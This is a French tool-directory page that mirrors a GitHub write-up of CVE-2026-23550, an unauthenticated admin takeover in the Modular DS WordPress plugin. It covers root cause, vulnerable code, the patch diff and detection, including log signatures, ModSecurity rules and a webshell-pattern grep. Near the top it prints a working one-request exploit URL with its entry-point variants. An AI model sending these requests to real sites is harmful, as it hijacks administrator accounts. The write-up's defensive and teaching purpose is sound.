Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-23550 — Rapport éducatif et PoC pour CVE-2026-23550, une prise de contrôle de session admin sans authentification critique dans le plugin WordPress Modular DS. Inclut une analyse de cause racine, un parcours du code source, une différence de correctif et un guide de détection. | Kitploit
Outils/GitHubGitHub/1beelze/cve-2026-23550
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHub1beelze/cve-2026-23550

CVE-2026-23550

Rapport éducatif et PoC pour CVE-2026-23550, une prise de contrôle de session admin sans authentification critique dans le plugin WordPress Modular DS. Inclut une analyse de cause racine, un parcours du code source, une différence de correctif et un guide de détection.

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
root@kitploit:~
   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗    ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝    ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗     █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗    ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝    ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝     ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝

CVE-2026-23550

Modular DS · Prise de contrôle de session administrateur non authentifiée

CVSS Type Auth Vector Status Patched

Analyse de cause racine · Parcours du code source · Diff de correctif · PoC éducatif

Par : Beelze ( zeroday 1diot9 )


📌 TL;DR

Modular DS (modular-connector) est un plugin WordPress de gestion de sites avec plus de 40 000 installations actives. Les versions ≤ 2.5.1 contiennent une chaîne de cinq défauts cumulatifs qui permettent à tout attaquant non authentifié de contourner l'authentification, d'invoquer le point de terminaison de connexion interne du plugin, et de recevoir un cookie de session wordpress_logged_in_* pour le premier compte administrateur — avec une seule requête HTTP GET.

root@kitploit:~
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld

→  HTTP/1.1 302 Found
   Location: /wp-admin/index.php
   Set-Cookie: wordpress_logged_in_<hash>=...

Résultat : prise de contrôle totale de l'administrateur. L'attaquant peut installer des plugins malveillants, déposer des webshells, créer des comptes administrateur de secours, exfiltrer la base de données.


📖 Table des matières

  • Versions concernées
  • Surface d'attaque
  • Analyse de cause racine
  • Parcours du code source
  • Diff de correctif (2.5.1 → 2.5.2)
  • Preuve de concept
  • Détection et remédiation
  • Chronologie
  • Références
  • Avertissement

🎯 Versions concernées


🎯 Surface d'attaque

La vulnérabilité déclenche un routeur personnalisé dérivé de Laravel intégré dans le plugin. Le plugin embarque son propre noyau HTTP (Ares/Framework) qui s'accroche à l'action parse_request de WordPress pour détourner les requêtes avant que le routage propre de WordPress ne prenne le relais.

Prérequis : aucun (plugin installé et actif, connecté au SaaS Modular — par défaut pour toutes les installations en production).

Points d'entrée (un seul suffit) :

root@kitploit:~
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>

🚩 Analyse de cause racine

La vulnérabilité n'est pas un défaut unique : c'est une chaîne de cinq défauts cumulatifs. Chaque couche, prise isolément, peut sembler défendable ; combinées, elles s'effondrent en une prise de contrôle administrateur sans authentification.

root@kitploit:~
flowchart TB
    A["🌐 Requête attaquant<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Porte s'ouvre sur les seuls paramètres de requête"]
    B --> C["② Router::findRoute()<br/>URL implicitement résolue vers la route /login"]
    C --> D["③ Filtre bindOldRoutes()<br/>Échec sur type inconnu"]
    D --> E["④ ModularGuard::check()<br/>Valide l'OAuth serveur, PAS la requête"]
    E --> F["⑤ AuthController::getLogin()<br/>Repli vers le premier utilisateur admin"]
    F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attaquant = Admin"]

    style A fill:#ff4444,stroke:#000,color:#fff
    style G fill:#00cc44,stroke:#000,color:#fff
    style B fill:#ff8888,stroke:#000
    style C fill:#ffaa66,stroke:#000
    style D fill:#ffcc44,stroke:#000
    style E fill:#ff8888,stroke:#000
    style F fill:#ff4444,stroke:#000,color:#fff

📋 Résumé des défauts


🔬 Parcours du code source

① Porte de démarrage — HttpUtils::isDirectRequest()

Fichier : vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64

root@kitploit:~
public static function isDirectRequest(): bool
{
    $request = app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');

    if ($isFromQuery) {
        return true;   // ⚠️ query-param only, no signature
    }
    return false;
}

Problème : Le mode « requête directe » — censé identifier les appels légitimes du backend Modular SaaS — est verrouillé par des paramètres de requête en texte clair sans HMAC, sans JWT, sans nonce signé, sans liste blanche IP. N'importe quel attaquant peut actionner cet interrupteur.

② Résolution implicite URL→Route — Router::findRoute()

Fichier : vendor/ares/framework/src/Foundation/Routing/Router.php:20

root@kitploit:~
protected function findRoute($request)
{
    $this->current = $route = apply_filters(
        'ares/routes/match',
        $this->routes->match($request),   // ⚠️ URL resolue en route AVANT que le filtre ne s'exécute
        true
    );
    $route->setContainer($this->container);
    $this->container->instance(Route::class, $route);
    return $route;
}

Problème : routes->match($request) de Laravel résout /api/modular-connector/login/xxx en la route login (protégée par authentification) avant que le filtre de sécurité ne s'exécute. Le filtre reçoit cette route en entrée, ce qui lui donne la charge de prouver que la route est illégitime plutôt que de l'autoriser explicitement.

③ Échec du filtre — bindOldRoutes()

Fichier : src/app/Providers/RouteServiceProvider.php:46

root@kitploit:~
public function bindOldRoutes($route, $removeQuery = false)
{
    if (!HttpUtils::isDirectRequest()) return $route;

    $request = request();
    $type = $request->header('x-mo-type', $request->get('type'));

    if ($type === 'request') { /* rebind via signed OAuth call */ }
    if ($type === 'oauth')   { /* rebind to /oauth handler */ }
    if ($type === 'lb')      { /* rebind to /schedule/run */ }

    return $route;   // ⚠️ Unknown type → route from URL stays as-is
}

Problème : Le filtre ne remplace la route que lorsque type est l'une des trois valeurs connues. Quand type est arbitraire (x, foo, vide), il retombe et renvoie la route résolue par l'URL inchangée. La route pilotée par l'URL login — qui était théoriquement protégée par authentification — passe à l'évaluation du middleware.

④ Garde défaillante — ModularGuard::check()

Fichier : vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16

root@kitploit:~
public function check()
{
    return !is_null($this->user());
}

public function user()
{
    $client = OauthClient::getClient();
    try {
        $client->validateOrRenewAccessToken();   // ⚠️ vérifie l'état du SERVEUR
        $this->user = ['id' => $client->getClientId()];
    } catch (\Throwable $e) {
        return null;
    }
    return $this->user;
}

Problème : Le garde personnalisé modular effectue zéro vérification de l'identité de la requête entrante. Il vérifie seulement que le plugin lui-même possède toujours une session OAuth valide avec le SaaS Modular. Comme pratiquement toutes les installations sont connectées (sinon le plugin est inutile), le garde renvoie true pour toute requête qui l'atteint.

C'est le défaut central. Même si les défauts ①–③ étaient corrigés, ce seul garde défaillant permettrait toujours un accès non autorisé à chaque route du groupe middleware auth.

⑤ Repli administrateur — AuthController::getLogin()

Fichier : src/app/Http/Controllers/AuthController.php:66

root@kitploit:~
public function getLogin(SiteRequest $modularRequest)
{
    $user = data_get($modularRequest->body, 'id');   // null — binding never populated

    if (!empty($user)) {
        $user = get_user_by('id', $user);
    }

    if (empty($user)) {
        Cache::driver('wordpress')->forget('user.login');
        $user = ServerSetup::getAdminUser();   // 💣 premier admin du site
    }

    $cookies = ServerSetup::loginAs($user, true);   // 💣 émet un cookie de session WP
    return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}

Problème : La liaison route-modèle SiteRequest n'est renseignée que lorsque type === 'request' dans la chaîne de filtres. Pour un type inconnu, $modularRequest arrive au contrôleur comme un objet vide. Le contrôleur se replie alors silencieusement sur le premier utilisateur administrateur et lui émet un cookie de connexion WordPress. N'importe qui peut entrer par la porte d'entrée.


🩹 Diff de correctif (2.5.1 → 2.5.2)

root@kitploit:~
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);

━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
-     if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+     $routes = app('router')->getRoutes();
+     $route = $routes->getByName('default');   // 👈 commencer toujours par une route 404
+     $route->bind(request());
+     if (!HttpUtils::isDirectRequest()) return $route;

━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+     abort(404);
+ })->name('default');

🔑 Philosophie du correctif

Le correctif supprime entièrement la résolution implicite URL→route. Le filtre commence maintenant avec une route default câblée pour abort(404) et ne se rebinde vers un vrai contrôleur que lorsque type est l'une des trois valeurs explicitement autorisées. Avec la nouvelle logique, type=x produit une 404 — la requête n'atteint jamais le contrôleur de connexion, et il n'y a rien contre quoi la garde défaillante puisse échouer en mode ouvert.

Il s'agit d'une défense en profondeur appliquée rétroactivement : même si ModularGuard::check() reste structurellement faible, la chaîne d'accessibilité vers lui est désormais fermée pour les routes protégées par l'authentification.


🛠️ Preuve de concept


🛡️ Détection et remédiation

Immédiat

  • Mettre à jour vers modular-connector >= 2.5.2 — non négociable.
  • Si la mise à jour est bloquée, désactiver complètement le plugin. Il n'existe pas de contournement par configuration.

Évaluation de compromission

Après la mise à jour, considérer une compromission si le plugin était en version ≤ 2.5.1 et accessible depuis Internet depuis le 2026-01-13. Vérifier :

root@kitploit:~
# 1. Comptes administrateur non autorisés
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# 2. Installations suspectes de plugins après le 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13

# 3. Fichiers noyaux récemment modifiés
find wp-includes/ wp-admin/ -type f -mtime -30

# 4. Webshells (charges utiles courantes déposées après exploitation)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/

Signatures de serveur web (journaux Apache / Nginx)

root@kitploit:~
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo

Règle WAF / ModSecurity (atténuation temporaire)

root@kitploit:~
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
  "id:2026023550,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 exploit attempt (Modular DS)'"

SecRule ARGS:origin "@streq mo" \
  "chain,id:2026023551,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 direct-request bypass attempt'"
  SecRule ARGS:type "@rx .+"

📅 Chronologie


📚 Références

  • Avis de Patchstack
  • The Hacker News — Plugin WordPress Modular DS critique
  • BleepingComputer — Rapport d'exploitation active
  • Security Affairs — Analyse de prise de contrôle administrateur
  • eSecurity Planet — 40 000 installations à risque
  • Rescana — Notes de réponse aux incidents
  • Dépôt WordPress de plugins — modular-connector

👤 Auteur

Beelze · zeroday 1diot9

Chercheur avancé en CVE · Analyste de vulnérabilités · Constructeur de PoC


⚖️ Avertissement

Ce dépôt est publié strictement à des fins éducatives et de recherche défensive.

La vulnérabilité est divulguée publiquement (CVE-2026-23550), corrigée par l'éditeur (modular-connector 2.5.2), et détaillée dans la presse de sécurité grand public. Cet article existe pour aider les défenseurs à comprendre la cause racine, les développeurs à apprendre d'un échec de conception d'authentification réel, et les chercheurs à étudier un modèle de défauts en chaîne.

N'exécutez pas les scripts PoC inclus contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester. L'accès non autorisé à un système informatique est illégal dans pratiquement toutes les juridictions (CFAA · Computer Misuse Act · ITE Law · etc.).

L'auteur décline toute responsabilité en cas de mauvaise utilisation. Si vous n'êtes pas sûr que votre cas d'usage soit autorisé, il ne l'est probablement pas.


Créé avec 🎯 pour la communauté de recherche en sécurité.

⭐ Mettez une étoile à ce dépôt si cela vous a aidé à apprendre quelque chose.

Télécharger l’outil
ChampValeur
Nom du pluginModular DS
Slugmodular-connector
Vulnérable<= 2.5.1
Corrigé2.5.2
Installations actives~40 000
CVSS v3.110.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWECWE-287 · CWE-306 · CWE-863
OWASPA07 — Identification et échecs d'authentification
#CoucheFichierCause racine
①Porte de démarrageHttpUtils.php:64Vérification uniquement par paramètre de requête origin=mo sans crypto/nonce
②Correspondance URL→routeRouter.php:20Résolution d'URL implicite passée directement au filtre
③Filtre de substitution de routeRouteServiceProvider.php:46type inconnu retombe avec la route d'origine intacte
④Garde d'authentificationModularGuard.php:16Valide l'état OAuth côté serveur, pas l'identité de la requête
⑤Contrôleur de connexionAuthController.php:66Repli silencieux vers getAdminUser() sur entrée manquante
DateÉvénement
2026-01-XXL'éditeur publie la version 2.5.2 avec un correctif de sécurité silencieux
2026-01-13 ~02:00 UTCPremière exploitation observée dans la nature
2026-01-13Patchstack publie un avis · CVE-2026-23550 attribué
2026-01-14Couverture par The Hacker News, BleepingComputer, Security Affairs
2026-07-05Publication de cet article éducatif